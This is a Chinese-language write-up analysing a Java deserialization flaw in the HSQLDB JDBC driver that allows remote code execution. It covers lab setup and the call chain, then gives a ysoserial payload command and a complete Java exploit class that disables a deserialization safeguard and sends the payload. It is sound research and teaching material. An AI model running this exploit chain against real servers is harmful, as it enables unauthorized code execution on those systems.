关于hsqldb反序列化漏洞的一些思考
字数 1098 2025-08-04 00:38:02
HSQLDB反序列化漏洞分析与利用
0x00 漏洞概述
HSQLDB是一款纯Java实现的关系型数据库,常用于开发和测试环境。该漏洞存在于HSQLDB的JDBC驱动中,通过精心构造的SQL语句可以触发Java反序列化操作,导致远程代码执行。
0x01 环境搭建
1.1 导入HSQLDB项目
git clone https://github.com/BabyTeam1024/hsqldb_unserialize.git
使用IntelliJ IDEA导入项目:
- 选择"hsqldb-source-master"文件夹
- 选择Maven项目类型
- 右键pom.xml文件,使用Maven自动下载依赖
1.2 搭建Tomcat环境
- 配置Tomcat作为Web容器
- 部署war包到Tomcat
- 启动服务,确认配置完成
1.3 增加调试信息
mkdir test
cd test
cp ../hsqldb.jar ./
jar -xvf hsqldb.jar org/
cp -r ~/IdeaProjects/hsqldb_unserialize/hsqldb-source-master/target/classes/org ./
jar -uvf hsqldb.jar org
0x02 漏洞分析
2.1 寻找反序列化点
通过搜索readObject方法,发现几个关键点:
DatabaseManager.java- 从文件流反序列化,不可控TransferCommon.java- 从文件流反序列化,不可控InOutUtil.java- 关键漏洞点,可直接反序列化传入数据
2.2 触发路由分析
- 漏洞触发路径:
InOutUtil.deserialize()→readObject() - 调用链:
executeCallStatement→getValue→getArguments→getObject→deserialize
2.3 服务端数据处理流程
- 接收POST数据并解析
- 根据mode值进行第一次分发
- 根据SQL语句类型进行第二次分发
- 根据操作类型(SELECT/INSERT/UPDATE等)进行第三次分发
0x03 漏洞利用
3.1 利用条件
- 必须使用
call方法调用 - 调用的方法必须是
public static - 方法参数必须满足以下条件之一:
- 不在类型列表中且继承
Serializable - 是
OTHER类型(1111)
- 不在类型列表中且继承
3.2 可利用方法示例
call "org.hsqldb.HsqlDateTime.resetToTime"('payload'); // Calendar类型
call "org.hsqldb.HsqlDateTime.getTimestampString"('2011-01-01','payload') // 参数二Calendar类型
call "org.hsqldb.lib.ArrayUtil.haveEqualArrays"('payload') // int[]类型
call "org.hsqldb.lib.ArrayCounter.rank"('payload') // int[]类型
call "org.hsqldb.WebServer.main"('payload') // String[]类型
call "org.hsqldb.lib.InOutUtil.deserialize"('payload') // byte[]类型
3.3 生成Payload
使用ysoserial生成反序列化payload:
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections6 "touch /tmp/123123" > /tmp/calc.ser
3.4 完整利用代码
import org.apache.commons.codec.binary.Hex;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.sql.Statement;
public class Exploit {
public static void main(String[] args) throws IOException, ClassNotFoundException, SQLException {
String url = "http://localhost:8080";
String payload = Hex.encodeHexString(Files.readAllBytes(Paths.get("/tmp/calc.ser")));
String dburl = "jdbc:hsqldb:" + url + "/hsqldb_war_exploded/hsqldb/";
Class.forName("org.hsqldb.jdbcDriver");
Connection connection = DriverManager.getConnection(dburl, "sa", "");
Statement statement = connection.createStatement();
statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')");
statement.execute("call \"org.hsqldb.HsqlDateTime.getTimestampString\"('2011-01-01','" + payload + "');");
}
}
注意:需要禁用不安全类的序列化检测:
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
0x04 防御措施
- 升级HSQLDB到最新版本
- 限制数据库服务的网络访问
- 在生产环境中避免使用HSQLDB
- 实施Java反序列化防护措施
0x05 总结
通过分析HSQLDB反序列化漏洞,我们掌握了:
- 漏洞点的定位方法
- 服务端数据处理流程
- 触发路由的完整调用链
- 多种利用方式的构造方法
- 完整的漏洞利用过程
该漏洞展示了Java反序列化问题的严重性,以及如何通过看似无害的数据库功能实现远程代码执行。